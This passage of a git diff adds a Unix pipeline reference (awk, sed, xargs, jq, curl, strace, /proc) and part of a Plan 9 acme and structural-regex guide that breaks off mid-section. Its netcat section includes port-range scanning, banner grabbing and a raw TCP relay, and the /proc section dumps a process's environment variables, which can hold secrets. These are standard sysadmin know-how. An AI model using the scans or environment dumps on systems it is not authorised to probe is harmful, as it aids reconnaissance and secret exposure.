**[cyberang3l/timelapse-deflicker](https://github.com/cyberang3l/timelapse-deflicker)** -- Deflicker + +## Gallery +- **[Cyclenerd/gallery_shell](https://github.com/Cyclenerd/gallery_shell)** -- Static HTML gallery +- **[saimn/sigal](https://github.com/saimn/sigal)** -- Static gallery generator + +## Optimization +- **[centminmod/optimise-images](https://github.com/centminmod/optimise-images)** -- Batch optimizer diff --git a/doc/pipe-mastery.md b/doc/pipe-mastery.md new file mode 100644 index 0000000000000000000000000000000000000000..0cefcc4d4c8dd637fc9099b91aa14ef7f0bc686b --- /dev/null +++ b/doc/pipe-mastery.md @@ -0,0 +1,894 @@ +# Unix Pipeline Mastery + +A dense reference for pipelines, text processing, and system introspection. Each section gives working one-liners with enough explanation to adapt them. + +--- + +## 1. awk One-Liners + +**Deduplicate lines (preserving order)** +```bash +awk '!seen[$0]++' file.txt +``` +`seen[$0]` is zero (false) on first encounter, incremented to 1 after the `!` test passes. Subsequent duplicates fail the test and are skipped. Unlike `sort | uniq`, order is preserved. + +**Frequency count of a field** +```bash +awk '{count[$1]++} END {for (k in count) print count[k], k}' file.txt | sort -rn +``` +Counts occurrences of the first field, prints freq then value, sorts descending. + +**Group-by sum (sum field 3 grouped by field 1)** +```bash +awk '{sum[$1] += $3} END {for (k in sum) print k, sum[k]}' file.txt +``` + +**Inline CSV to TSV** +```bash +awk 'BEGIN {FPAT="([^,]*)|(\"[^\"]+\")"; OFS="\t"} {for(i=1;i<=NF;i++) gsub(/^"|"$/, "", $i); $1=$1; print}' file.csv +``` +`FPAT` makes awk parse quoted CSV fields correctly. `$1=$1` forces field reconstruction with `OFS`. + +**Filter rows where a field count differs (ragged lines)** +```bash +awk 'NF != 5' file.txt # lines that do NOT have exactly 5 fields +awk 'NF >= 3 && NF <= 7' file.txt +``` + +**Print lines between two patterns (inclusive)** +```bash +awk '/START/,/END/' file.txt +``` + +**Column math: add two fields, print result** +```bash +awk '{print $1, $2 + $3}' file.txt +``` + +**Print unique lines in field 2 only (deduplicate on specific key)** +```bash +awk '!seen[$2]++' file.txt +``` + +--- + +## 2. sed Tricks + +**Alternate delimiters (avoids escaping slashes in paths)** +```bash +sed 's|/usr/local/bin|/opt/bin|g' file +sed 's#https://old.example.com#https://new.example.com#g' file +``` +Any character after `s` becomes the delimiter. Useful with paths and URLs. + +**Section editing: delete lines between markers** +```bash +sed '/^# BEGIN/,/^# END/d' file +``` + +**Section editing: replace content inside markers** +```bash +sed '/^# BEGIN/,/^# END/ s/foo/bar/g' file +``` + +**Section editing: extract a block** +```bash +sed -n '/^# BEGIN/,/^# END/p' file +``` + +**DOS to Unix (strip carriage returns)** +```bash +sed 's/\r$//' file.txt +# or in-place: +sed -i 's/\r$//' file.txt +``` + +**Commify numbers (add thousand separators)** +```bash +echo "1234567" | sed ':a; s/\B[0-9]\{3\}\>/,&/; ta' +``` +`:a` defines label. `\B` matches non-word-boundary before groups of 3 digits from the right. `ta` loops until no substitution occurs. + +**Delete blank lines** +```bash +sed '/^[[:space:]]*$/d' file.txt +``` + +**Print line number N** +```bash +sed -n '42p' file.txt +``` + +**Insert a line after a match** +```bash +sed '/^MATCH/a\inserted line here' file.txt +``` + +**In-place edit with backup** +```bash +sed -i.bak 's/old/new/g' file.txt +``` +`.bak` suffix creates `file.txt.bak` before editing. GNU sed accepts `-i` without space; BSD sed requires `-i ''`. + +--- + +## 3. xargs Advanced + +**Handle filenames with spaces/newlines using null delimiter** +```bash +find . -name "*.log" -print0 | xargs -0 rm -f +``` +`-print0` outputs NUL-separated names; `-0` reads them. Never use bare `xargs` with filenames. + +**Parallel execution with -P** +```bash +cat urls.txt | xargs -P 8 -I{} curl -sO {} +``` +`-P 8` runs up to 8 processes concurrently. `-I{}` sets the placeholder for the argument. + +**Placeholder substitution** +```bash +ls *.tar.gz | xargs -I{} tar -xzf {} -C /tmp/{}_extracted +``` +`-I{}` replaces `{}` with the argument everywhere in the command. Note: `-I` implies `-L 1` (one argument per invocation). + +**Batch multiple args per invocation with -n** +```bash +cat ids.txt | xargs -n 5 ./process_batch.sh +``` +Calls `process_batch.sh arg1 arg2 arg3 arg4 arg5`, then the next 5, etc. Useful for APIs with batch endpoints. + +**Combine -n and -P for parallel batching** +```bash +cat hosts.txt | xargs -n 1 -P 20 -I{} ssh {} 'hostname && uptime' +``` + +**Dry run: echo what would execute** +```bash +cat files.txt | xargs -I{} echo rm {} +``` + +**xargs with shell logic (requires sh -c)** +```bash +find . -name "*.md" -print0 | xargs -0 -I{} sh -c 'wc -l "{}" && echo "---"' +``` + +--- + +## 4. GNU parallel vs xargs -P + +Both parallelize, but GNU parallel is richer. + +**Basic parallel (same as xargs -P)** +```bash +cat hosts.txt | parallel ssh {} hostname +``` + +**Ordered output (parallel collects and prints in input order)** +```bash +cat urls.txt | parallel --keep-order curl -s {} +``` +`xargs -P` interleaves output unpredictably. `--keep-order` buffers until earlier jobs finish. + +**File extension replacement with {.}** +```bash +parallel ffmpeg -i {} {.}.mp3 ::: *.wav +``` +`{.}` strips extension. `{/}` is basename, `{//}` is dirname, `{/.}` is basename without extension. + +**Resume a failed run** +```bash +parallel --joblog /tmp/jobs.log --resume my_command ::: input*.txt +# Re-run failures only: +parallel --joblog /tmp/jobs.log --resume-failed my_command ::: input*.txt +``` + +**--pipe: split stdin across workers** +```bash +cat big.csv | parallel --pipe --block 10M grep "pattern" +``` +Splits stdin into 10M chunks and runs grep on each in parallel. Faster than single grep on huge files. + +**Limit rate and add delay** +```bash +cat api_ids.txt | parallel --delay 0.5 --jobs 4 curl "https://api.example.com/item/{}" +``` + +**Build command strings with multiple inputs** +```bash +parallel echo {1} {2} ::: a b c ::: x y z +``` +Computes the Cartesian product: a x, a y, a z, b x, ... + +--- + +## 5. Forgotten Text Tools + +### comm: Set Operations on Sorted Files + +```bash +sort file1 > a.sorted +sort file2 > b.sorted + +comm -12 a.sorted b.sorted # intersection (lines in both) +comm -23 a.sorted b.sorted # lines only in file1 +comm -13 a.sorted b.sorted # lines only in file2 +comm -3 a.sorted b.sorted # symmetric difference (lines in exactly one) +``` +Files must be sorted. Output has three columns: only-in-file1, only-in-file2, in-both. Suppressing columns with -1/-2/-3. + +### join: Relational Join on a Common Field + +```bash +join -t, -1 1 -2 1 users.csv orders.csv +``` +Joins on field 1 of each file, comma-delimited. Like SQL `INNER JOIN`. Files must be sorted on the join field. + +```bash +join -a 1 file1 file2 # left outer join (keep unmatched from file1) +join -a 2 file1 file2 # right outer join +join -v 1 file1 file2 # only lines from file1 with NO match (anti-join) +``` + +### paste: Merge Files Side by Side + +```bash +paste file1 file2 # tab-separated columns +paste -d, file1 file2 # comma-delimited +paste -s file.txt # transpose: one file, all lines become one row +paste -d'\n' file1 file2 # interleave lines (alternate) +``` + +Transpose a matrix (rows become columns): +```bash +paste -s file.txt | awk '{for(i=1;i<=NF;i++) col[i]=col[i] (col[i]?"\t":"") $i} END {for(i=1;i<=NF;i++) print col[i]}' +``` + +### cut + +```bash +cut -d, -f2,4 file.csv # extract fields 2 and 4 +cut -c1-10 file.txt # extract characters 1-10 +cut -d: -f1,6 /etc/passwd # username and shell +``` + +### tr: Translate or Delete Characters + +```bash +tr '[:lower:]' '[:upper:]' < file.txt # uppercase +tr -d '\r' < dos.txt # strip CR +tr -s ' ' < file.txt # squeeze multiple spaces +tr -dc '[:alnum:]\n' < file.txt # delete non-alphanumeric +echo "hello world" | tr ' ' '\n' # one word per line +``` + +### fold: Wrap Long Lines + +```bash +fold -w 72 -s file.txt # wrap at 72 chars, break at spaces +``` + +### fmt: Reformat Paragraphs + +```bash +fmt -w 72 essay.txt # reflow paragraphs to 72 char width +fmt -u file.txt # uniform spacing (one space after period) +``` + +--- + +## 6. column -t for Instant Tables + +```bash +mount | column -t +``` + +```bash +{ echo "NAME AGE CITY"; echo "Alice 30 NYC"; echo "Bob 25 LA"; } | column -t +``` + +With a custom delimiter: +```bash +cat /etc/passwd | column -t -s: +``` + +Output alignment only (no column separator): +```bash +ps aux | column -t | head +``` + +Fixed separator in output: +```bash +column -t -s, file.csv +``` + +Column with header and borders (newer util-linux): +```bash +column -t -N "Host,Port,Service" -s, services.csv +``` + +--- + +## 7. sort Advanced + +**Multi-key sort: primary by field 3 numeric, secondary by field 1 alphabetic** +```bash +sort -k3,3n -k1,1 file.txt +``` +`-k3,3n` means sort on field 3 only (start,end with same number) numerically. Without the end field, sort uses the rest of the line. + +**Human-readable size sort (10M before 2G)** +```bash +du -sh * | sort -h +``` + +**Version sort (1.9 before 1.10)** +```bash +ls v*.tar.gz | sort -V +``` + +**Debug sort keys (shows what key was used per line)** +```bash +sort -k2,2n --debug file.txt +``` +Underlines the portion of each line used as the sort key. Invaluable for debugging unexpected order. + +**Limit RAM usage** +```bash +sort -S 2G large.txt +``` +Default is often 10% of RAM. Explicit `-S` avoids hitting swap. + +**Parallel sort** +```bash +sort --parallel=8 large.txt +``` + +**Stable sort (preserve original order of equal elements)** +```bash +sort -s -k1,1 file.txt +``` + +**Sort CSV by second field, ignoring header** +```bash +(head -1 file.csv; tail -n +2 file.csv | sort -t, -k2,2) > sorted.csv +``` + +--- + +## 8. tee Fan-Out and Mid-Pipeline Debugging + +**Fan output to multiple files and stdout** +```bash +pipeline | tee file1.txt file2.txt | next_command +``` + +**Fan-out to two different commands using process substitution** +```bash +cat data.txt | tee >(gzip > data.gz) >(wc -l > count.txt) | grep "ERROR" +``` +Both subshells receive every line. Stdout of `tee` continues to the next pipe stage. + +**Debug mid-pipeline without breaking the flow** +```bash +cat data.txt | grep "foo" | tee /dev/stderr | awk '{print $2}' > result.txt +``` +`/dev/stderr` lets you see the intermediate stream in the terminal while the pipe continues. + +**Log mid-pipeline with timestamp** +```bash +pipeline | tee >(ts '%Y-%m-%d %H:%M:%S' >> pipeline.log) | next_stage +``` +(`ts` from `moreutils`) + +**Duplicate to multiple named pipes** +```bash +mkfifo /tmp/p1 /tmp/p2 +tee /tmp/p1 /tmp/p2 < input.txt & +consumer1 < /tmp/p1 & +consumer2 < /tmp/p2 & +wait +``` + +--- + +## 9. jq Advanced + +**Select / filter objects** +```bash +jq '.[] | select(.status == "active")' users.json +jq '.[] | select(.age > 30 and .city == "NYC")' users.json +``` + +**group_by and count** +```bash +jq 'group_by(.status) | map({status: .[0].status, count: length})' data.json +``` + +**to_entries: iterate over object keys** +```bash +jq 'to_entries | map(.key + "=" + (.value | tostring)) | .[]' config.json +``` +Useful for converting JSON objects to env-var format. + +**@csv and @tsv output** +```bash +jq -r '.[] | [.name, .age, .city] | @csv' users.json +jq -r '.[] | [.name, .age, .city] | @tsv' users.json +``` + +**reduce: fold over an array** +```bash +jq 'reduce .[] as $x (0; . + $x.amount)' transactions.json +``` + +**// for defaults (alternative operator)** +```bash +jq '.[] | {name: .name, role: (.role // "user")}' users.json +``` +If `.role` is null or missing, substitutes "user". + +**-s slurp: read multiple JSON docs into an array** +```bash +cat *.json | jq -s '.' +cat *.json | jq -s 'map(select(.active)) | length' +``` + +**Compact output + raw strings** +```bash +jq -rc '.[] | .id' data.json # -r raw (no quotes), -c compact (no pretty print) +``` + +**Update a field in place** +```bash +jq '(.[] | select(.id == 42)).status = "done"' data.json +``` + +**Build new objects from arrays** +```bash +jq '[.[] | {(.id | tostring): .name}] | add' users.json +``` + +**Extract nested paths** +```bash +jq '[path(..| numbers)] ' data.json # all paths to numeric values +``` + +--- + +## 10. curl Tricks + +**Timing breakdown with -w write-out** +```bash +curl -o /dev/null -s -w "\ +DNS: %{time_namelookup}s\n\ +Connect: %{time_connect}s\n\ +TLS: %{time_appconnect}s\n\ +TTFB: %{time_starttransfer}s\n\ +Total: %{time_total}s\n\ +HTTP: %{http_code}\n\ +Size: %{size_download} bytes\n\ +" https://example.com +``` + +**Check HTTP status in scripts** +```bash +curl --fail -sS https://api.example.com/health || echo "DOWN" +``` +`--fail` exits non-zero on 4xx/5xx. `-sS` is silent but shows errors. + +**Retry with backoff** +```bash +curl --retry 5 --retry-delay 2 --retry-max-time 30 https://flaky.api/endpoint +``` + +**Cookie jar (session persistence)** +```bash +curl -c cookies.txt -b cookies.txt -d "user=admin&pass=secret" https://site.com/login +curl -b cookies.txt https://site.com/protected +``` + +**Follow redirects and get final URL** +```bash +curl -Ls -o /dev/null -w "%{url_effective}" https://short.url/abc +``` + +**Download with resume** +```bash +curl -C - -O https://example.com/big-file.iso +``` + +**Multiple URLs in parallel (xargs)** +```bash +cat urls.txt | xargs -P 10 -I{} curl -sO {} +``` + +**POST JSON** +```bash +curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' https://api/endpoint +``` + +**Upload file** +```bash +curl -F "file=@/path/to/file.csv" https://upload.example.com/ +``` + +--- + +## 11. netcat Patterns + +**Port check (TCP)** +```bash +nc -zv host 443 # verbose, exit after check +nc -z -w 2 host 8080 # 2s timeout +``` + +**Banner grab** +```bash +echo "" | nc -w 3 host 22 # SSH banner +echo "HEAD / HTTP/1.0\r\n\r\n" | nc -w 3 host 80 +``` + +**Simple file transfer** +```bash +# receiver: +nc -l 9999 > received_file + +# sender: +nc receiver_host 9999 < file_to_send +``` + +**With pv for progress** +```bash +pv file.tar.gz | nc receiver 9999 +``` + +**TCP proxy with mkfifo (bidirectional)** +```bash +mkfifo /tmp/proxy_pipe +nc -l 8080 < /tmp/proxy_pipe | nc real_backend 80 > /tmp/proxy_pipe +``` +Traffic to localhost:8080 is forwarded to real_backend:80. + +**One-shot HTTP server (serve a file)** +```bash +{ echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n"; cat file.txt; } | nc -l 8080 +``` + +**UDP listener** +```bash +nc -u -l 5140 # listen on UDP 5140 (syslog) +``` + +**Scan a range of ports** +```bash +nc -zv host 20-1024 2>&1 | grep "succeeded" +``` + +--- + +## 12. find -exec Patterns + +**{} + vs {} \; (batching vs per-file)** +```bash +find . -name "*.log" -exec rm {} + # rm file1 file2 ... (one invocation) +find . -name "*.log" -exec rm {} \; # rm file1; rm file2; ... (one per file) +``` +`{} +` is like `xargs`; faster for many files. `{} \;` is needed when the command cannot take multiple arguments. + +**Shell logic inside -exec** +```bash +find . -name "*.txt" -exec sh -c 'wc -l "$1" >> /tmp/counts.txt' _ {} \; +``` +The `_` is `$0` (script name placeholder); `{}` becomes `$1`. + +**Process multiple files with shell logic** +```bash +find . -name "*.jpg" -print0 | xargs -0 -I{} sh -c ' + base=$(basename "{}" .jpg) + convert "{}" -resize 800x /tmp/resized/${base}_sm.jpg +' +``` + +**Chain conditions as AND** +```bash +find . -name "*.py" -newer setup.py -exec grep -l "TODO" {} \; +``` +Multiple predicates are AND by default. Use `-o` for OR, `\( \)` for grouping. + +**Delete empty directories** +```bash +find . -type d -empty -delete +``` + +**Find and compress files older than 30 days** +```bash +find /var/log -name "*.log" -mtime +30 -exec gzip {} \; +``` + +**Find files by size range** +```bash +find . -size +1M -size -100M -type f +``` + +**Exclude a directory** +```bash +find . -path ./node_modules -prune -o -name "*.js" -print +``` + +--- + +## 13. strace Patterns + +**Trace only specific syscall categories** +```bash +strace -e trace=file command # open, stat, read, write on files +strace -e trace=network command # socket, connect, bind, send, recv +strace -e trace=memory command # mmap, mprotect, brk +strace -e trace=process command # fork, exec, wait, clone +``` + +**Summary of syscall counts and time** +```bash +strace -c -p PID # attach to running process, print summary on exit +strace -c command +``` +Shows number of calls, errors, and total time per syscall. + +**Per-syscall timing** +```bash +strace -T command 2>&1 | grep "open" # shows time in <0.000123> after each call +``` + +**Resolve file descriptor paths** +```bash +strace -yy command # annotates fds with full path in every syscall +``` +Without `-yy`, you see `read(4, ...)`. With `-yy`, you see `read(4</var/log/app.log>, ...)`. + +**Follow child processes** +```bash +strace -f command # trace forked children too +strace -ff -o /tmp/trace command # one file per pid: /tmp/trace.PID +``` + +**Filter output** +```bash +strace -e trace=openat command 2>&1 | grep -v "ENOENT" # hide missing files +``` + +**Attach to existing process** +```bash +strace -p $(pgrep nginx) +``` + +--- + +## 14. /proc/$PID Tricks + +```bash +PID=$(pgrep myapp) +``` + +**Full command line (null-separated args)** +```bash +cat /proc/$PID/cmdline | tr '\0' ' ' +``` + +**Environment variables** +```bash +cat /proc/$PID/environ | tr '\0' '\n' +cat /proc/$PID/environ | tr '\0' '\n' | grep PATH +``` + +**Open file descriptors** +```bash +ls -la /proc/$PID/fd # symlinks to open files, sockets, pipes +``` + +**Memory map (which libraries are loaded)** +```bash +cat /proc/$PID/maps +``` +Shows address ranges, permissions, and file backing. Useful for detecting injected libraries or diagnosing memory layout. + +**Process status (state, memory, threads)** +```bash +cat /proc/$PID/status +``` +Contains `VmRSS` (resident set), `VmSwap`, `Threads`, `State`. + +**I/O statistics** +```bash +cat /proc/$PID/io +``` +`rchar`, `wchar` are bytes read/written. `syscr`, `syscw` are syscall counts. `read_bytes`, `write_bytes` are actual disk I/O. + +**Stack trace (kernel stack)** +```bash +cat /proc/$PID/stack # kernel stack frames (requires CAP_SYS_PTRACE or root) +``` + +**Limits** +```bash +cat /proc/$PID/limits # ulimits currently in effect +``` + +**Live CPU/memory for all processes** +```bash +paste <(ps -eo pid,comm) <(cat /proc/*/status 2>/dev/null | grep VmRSS | awk '{print $2}') | sort -k3 -rn | head +``` + +--- + +## 15. coproc: Bidirectional Pipe Communication + +`coproc` creates a background process with two-way pipes. Unlike `cmd | read`, you can write and read repeatedly. + +**Basic usage** +```bash +coproc BC { bc -l; } +echo "3.14159 * 2" >&${BC[1]} +read result <&${BC[0]} +echo "Result: $result" +``` +`BC[1]` is stdin of the coprocess; `BC[0]` is its stdout. + +**Named coprocess (bash 4+)** +```bash +coproc CALC { python3 -c "import sys; [print(eval(l)) for l in sys.stdin]"; } +echo "2**10" >&${CALC[1]} +read answer <&${CALC[0]} +echo "$answer" # 1024 +``` + +**Interactive reuse across loop iterations** +```bash +coproc DB { sqlite3 mydb.sqlite; } +for table in users orders products; do + echo ".schema $table" >&${DB[1]} + read schema <&${DB[0]} + echo "$table: $schema" +done +echo ".quit" >&${DB[1]} +``` + +**Difference from stdin pipe** + +With a regular pipe you get one write/one read: `echo "input" | cmd`. With coproc you maintain a persistent session and can write multiple times without restarting the process. This matters when process startup is expensive (interpreters, DB connections, TLS negotiation). + +**Capture stderr separately** +```bash +coproc CMD { my_tool 2>/tmp/cmd_errors; } +``` + +--- + +## 10 Composition Patterns + +### 1. Filter-Map-Reduce + +Filter down to relevant records, transform each record, then aggregate. + +```bash +awk -F, '$3 == "US"' orders.csv \ + | awk -F, '{print $5}' \ + | awk '{sum += $1} END {print sum}' +``` + +### 2. Fan-Out: Same Data, Two Different Analyses + +```bash +cat access.log | tee \ + >(awk '{print $1}' | sort | uniq -c | sort -rn | head > top_ips.txt) \ + >(awk '{print $7}' | sort | uniq -c | sort -rn | head > top_paths.txt) \ + > /dev/null +``` + +### 3. Diff Two Commands + +Compare outputs from two command variants without temp files. + +```bash +diff <(curl -s https://api.example.com/v1/users | jq -r '.[] | .id' | sort) \ + <(curl -s https://api.example.com/v2/users | jq -r '.[] | .id' | sort) +``` + +### 4. Set Operations on Live Data + +```bash +# Which hosts are in inventory but not responding to ping? +comm -23 \ + <(sort inventory.txt) \ + <(cat inventory.txt | parallel -j50 "ping -c1 -W1 {} &>/dev/null && echo {}" | sort) +``` + +### 5. Safe Iteration Over File Paths + +```bash +find . -name "*.csv" -print0 \ + | xargs -0 -I{} sh -c ' + lines=$(wc -l < "{}") + echo "{}: $lines lines" + ' +``` + +### 6. Parallel Transform with Ordered Output + +```bash +cat image_ids.txt | parallel --keep-order \ + 'curl -s "https://api/image/{}" | jq -r ".url"' \ + > ordered_urls.txt +``` + +### 7. Column Extraction and Table Formatting + +```bash +ps aux \ + | awk 'NR==1 || $3 > 1.0 {print $1, $2, $3, $4, $11}' \ + | column -t +``` + +### 8. API to Table + +```bash +curl -s "https://api.github.com/repos/torvalds/linux/releases" \ + | jq -r '.[] | [.tag_name, .published_at, (.assets | length | tostring)] | @tsv' \ + | column -t -s $'\t' +``` + +### 9. Live Monitoring Pipeline + +```bash +watch -n1 'ss -tnp | awk "NR>1 {print \$1,\$4,\$5,\$6}" | column -t' +``` + +Or with continuous output: + +```bash +tail -f /var/log/nginx/access.log \ + | awk '{print $1, $7, $9}' \ + | grep --line-buffered -v "200" \ + | ts '%H:%M:%S' +``` + +### 10. Config Surgery: Extract, Edit, Re-embed + +```bash +# Extract a JSON block from a config, update a field, put it back +value=$(jq '.database.pool_size' config.json) +new_value=$((value * 2)) +tmp=$(mktemp) +jq --argjson n "$new_value" '.database.pool_size = $n' config.json > "$tmp" +mv "$tmp" config.json +``` + +For INI-style configs: + +```bash +sed -i 's/^max_connections\s*=.*/max_connections = 200/' /etc/myapp/app.conf +``` + +--- + +## Quick Reference Card + +| Tool | Key flag | Use | +|------|----------|-----| +| awk | `!seen[$0]++` | ordered dedup | +| awk | `NF` | field count filter | +| sed | `s\|/\|:\|g` | alternate delimiter | +| sed | `/a/,/b/` | range address | +| xargs | `-0 -P N -I{}` | null-safe parallel | +| parallel | `--keep-order {.}` | ordered + extension strip | +| comm | `-12 -23 -13` | intersection / diff / diff | +| join | `-a 1 -v 1` | outer / anti join | +| sort | `-k3,3n -h -V -s --debug` | multi-key / human / version | +| tee | `>(cmd)` | fan-out via process sub | +| jq | `select group_by reduce //` | filter / aggregate / default | +| curl | `-w "%{time_total}" --fail --retry` | timing / scripts / retry | +| nc | `-zv -l` | port check / listen | +| find | `-exec {} + -print0` | batch / null-safe | +| strace | `-e trace=file -c -T -yy -f` | category / summary / timing / fds | +| /proc | `cmdline environ fd maps io` | process introspection | +| coproc | `${NAME[0]} ${NAME[1]}` | bidirectional IPC | diff --git a/doc/plan9-acme.md b/doc/plan9-acme.md new file mode 100644 index 0000000000000000000000000000000000000000..e564875af4e7656fb8b7205db4211c4d8b4953cb --- /dev/null +++ b/doc/plan9-acme.md @@ -0,0 +1,887 @@ +# Plan 9, Acme, and Structural Regex Reference + +A practical reference for Plan 9 concepts, the acme editor, structural regular expressions, and how to apply these ideas on Linux. + +--- + +## 1. Acme Interaction Model + +Acme is a mouse-centric editor built around three buttons and a uniform interaction model. Every window is text. Every command is text. The editor is a file server. + +### Mouse Buttons + +| Button | Name | Action | +|--------|------|--------| +| 1 | Left | Select text (click to place, drag to select) | +| 2 | Middle | Execute: run the selected/clicked text as a command | +| 3 | Right | Plumb or search: opens file, jumps to line, or searches | + +Chording: hold button 1 then click 2 to cut, hold button 1 then click 3 to paste. + +### The Tag Bar + +Each window has a tag bar at the top containing the filename and a set of built-in commands: `Del Snarf Get Put Look`. Clicking any of these with button 2 executes them. You can type additional commands into the tag bar. + +### Middle-Click to Execute + +Any text in any window can be executed by middle-clicking. Acme looks up the text as a command in `$PATH`. Output appears in a new window or the scratch column. + +``` +middle-click "ls -la" -> runs ls -la, output in new window +middle-click "go build" -> runs go build in the current directory +middle-click "Edit ,d" -> deletes all text in current window +``` + +### Right-Click to Plumb / Search + +Right-clicking text sends it to the plumber. The plumber inspects the text and decides what to do: open a file, jump to a line, load a URL, open a man page. If no plumber rule matches, acme searches for the text in the current window. + +``` +right-click "main.go:42" -> opens main.go, jumps to line 42 +right-click "http://example.com" -> opens browser +right-click "open" -> searches for "open" in current file +right-click "fork(2)" -> opens man page for fork section 2 +``` + +--- + +## 2. Key Commands + +These are typed into the tag bar or any window and executed with button 2. + +### Navigation + +``` +:42 jump to line 42 in current window +:/pattern/ jump to next match of pattern +Edit = show current filename and line number +``` + +### Window and Session Management + +``` +win open a new shell window inside acme +Dump save the current acme session layout to a file +Load restore a saved session layout +New open a new empty window +Del close current window +``` + +### Display + +``` +Font /lib/font/bit/lucsans/unicode.8.font set font +Font /usr/local/plan9/font/fixed/unicode.6x13.font +``` + +### File Operations + +``` +Get reload file from disk (button 2 on "Get" in tag) +Put write file to disk (button 2 on "Put" in tag) +``` + +--- + +## 3. Keyboard Shortcuts + +Acme uses mostly standard Unix line-editing keys plus a few additions. + +| Shortcut | Action | +|----------|--------| +| Ctrl-U | Delete from cursor to start of line | +| Ctrl-W | Delete previous word | +| Ctrl-A | Move to start of line | +| Ctrl-E | Move to end of line | +| Ctrl-F | Fetch/complete filename | +| Ctrl-H | Backspace | +| Ctrl-I | Tab | +| Ctrl-J | Newline | +| Escape | Select text typed since last mouse click (press again to delete it) | + +Escape is the undo primitive in acme. Typing then pressing Escape selects what you typed. Pressing Escape again deletes it. + +There is no conventional undo stack. The workflow is: type text, verify it, keep or Escape-delete it. For larger operations, use Edit commands which are composable and reversible by design. + +--- + +## 4. Acme Filesystem API (9P) + +Acme exposes itself as a 9P file server. Every window is a directory under the mount point. This is how shell scripts and programs interact with acme. + +### Listing Windows + +```sh +9 ls acme # list all acme window directories +ls $NAMESPACE/acme # direct mount point access +``` + +Each window directory contains: + +``` +acme/ + <id>/ + addr current address (read/write) + body window content (read/write) + ctl control messages (write) + data window data at addr (read/write) + errors error output destination + event mouse/keyboard events (read) + tag tag bar content (read/write) + xdata extended data +``` + +### Reading and Writing + +```sh +# read window content +cat acme/3/body + +# write to a window +echo 'hello world' > acme/3/body + +# set address then read at that address +echo '0,.' > acme/3/addr +cat acme/3/data + +# append text to body +echo ', a/new line/' | 9p write acme/3/ctl +``` + +### Control Messages + +Write these strings to the `ctl` file: + +``` +clean mark file as unmodified +dirty mark file as modified +del delete window +get reload from file +put write to file +name foo rename window +show bring window to front +``` + +Example: + +```sh +echo 'name /tmp/scratch' > acme/$winid/ctl +``` + +### The $winid Variable + +When acme runs a command, it sets `$winid` to the ID of the window that executed the command. Scripts use this to target the correct window. + +```sh +# append text to the window that ran this script +echo 'done' >> acme/$winid/body + +# show current file and line +cat acme/$winid/ctl | head -1 +``` + +### Event Loop (acme scripting) + +Programs can read from `acme/<id>/event` to receive keyboard and mouse events. This is how tools like `acmego`, `acme-lsp`, and language servers attach to acme. + +Event format: `<origin><type><q0> <q1> <flag> <n> <text>` + +``` +Mx 10 20 0 4 test # mouse execution of "test" from position 10 to 20 +``` + +--- + +## 5. The Edit Command Language + +`Edit` is acme's structural editor, derived from sam. Type `Edit <commands>` and execute it with button 2. + +### Address Syntax + +An address specifies a region of text to operate on. + +| Address | Meaning | +|---------|---------| +| `0` | before first character | +| `$` | after last character | +| `.` | current selection | +| `1` | line 1 | +| `42` | line 42 | +| `1,42` | lines 1 through 42 | +| `,` | entire file (shorthand for `0,$`) | +| `/pattern/` | next match of pattern after `.` | +| `?pattern?` | previous match of pattern before `.` | +| `+/pattern/` | next match after `.` (explicit forward) | +| `-/pattern/` | previous match before `.` | +| `/foo/,/bar/` | from next "foo" to next "bar" | +| `2,/end/` | from line 2 to next "end" | + +### Basic Commands + +``` +Edit s/old/new/ substitute first match in . +Edit s/old/new/g substitute all matches in . +Edit ,s/old/new/g substitute all matches in file +Edit d delete . +Edit ,d delete entire file +Edit a/text/ append text after . +Edit i/text/ insert text before . +Edit c/text/ change . to text +Edit p print . to acme output window +Edit = print filename and line number of . +``` + +Using external commands: + +``` +Edit ,<cat -n replace file with cat -n output (number lines) +Edit ,>wc -l pipe file to wc -l (count lines, no change) +Edit ,|sort replace file with sorted content +Edit ,|sort -u replace file with sorted unique content +Edit /TODO/+1,/DONE/-1|sort sort lines between TODO and DONE markers +``` + +### Structural Regular Expressions + +The key insight: instead of matching characters, you match structure. `x` and `y` let you loop over matches and non-matches. + +#### x -- Extract and Apply + +`x/pattern/command` -- for each match of pattern in the address, set `.` to that match and run command. + +``` +Edit ,x/TODO.*\n/p print all TODO lines +Edit ,x/TODO.*\n/d delete all TODO lines +Edit ,x/^/a/> / prepend "> " to every line (quote a file) +Edit ,x/\n/a/,/ replace newlines with commas +Edit ,x/[A-Z][a-z]+/ select each capitalized word (. cycles through them) +``` + +#### y -- Non-Matching Regions + +`y/pattern/command` -- for each region between matches, set `.` to that region and run command. + +``` +Edit ,y/\t/s/ /\t/g in non-tab regions, replace spaces with tabs +``` + +#### g and v -- Conditionals + +`g/pattern/command` -- if `.` contains a match, run command. +`v/pattern/command` -- if `.` does not contain a match, run command. + +``` +Edit ,x/.*\n/g/TODO/p print lines containing TODO +Edit ,x/.*\n/v/TODO/p print lines not containing TODO +Edit ,x/.*\n/g/^$/d delete blank lines +Edit ,x/.*\n/v/^#/d delete lines that are not comments +``` + +#### Nesting and Composition + +Commands compose. The output address of one command feeds the next. + +``` +# Delete all blank lines in a function body +Edit /^func/,/^}/x/.*\n/g/^$/d + +# In all struct definitions, sort the fields +Edit ,x/^type.*struct \{/,/^\}/x/^\t[A-Z]/,/\n/|sort + +# Replace all occurrences of "foo" that appear on lines containing "bar" +Edit ,x/.*\n/g/bar/s/foo/baz/g + +# Number only non-blank lines +Edit ,x/^.+$/= + +# Uppercase all words in comments +Edit ,x/(#|\/\/).*\n/x/[a-z]+/|tr a-z A-Z +``` + +#### Swapping Two Strings + +Use a temporary placeholder to avoid double-substitution: + +``` +Edit ,s/alpha/PLACEHOLDER/g +Edit ,s/beta/alpha/g +Edit ,s/PLACEHOLDER/beta/g +``` + +Or with braces (compound command -- all applied to same address): + +``` +Edit ,x/alpha|beta/{ + s/alpha/PLACEHOLDER/ + s/beta/alpha/ + s/PLACEHOLDER/beta/ +} +``` + +The brace form applies each sub-command to `.` sequentially within the same address context. + +### Cross-File Commands: X and Y + +`X/pattern/command` -- for each open window whose filename matches pattern, run command. +`Y/pattern/command` -- for each open window whose filename does not match, run command. + +``` +Edit X/\.go$/,s/fmt\.Print\b/fmt.Println/g replace in all open .go files +Edit X/\.md$/,x/.*\n/g/TODO/p print TODO lines from all open markdown files +Edit Y/\.go$/Del close all windows that are not .go files +``` + +--- + +## 6. Plumber Rules + +The plumber is Plan 9's dispatcher. It reads rules from `$HOME/lib/plumbing` and decides what 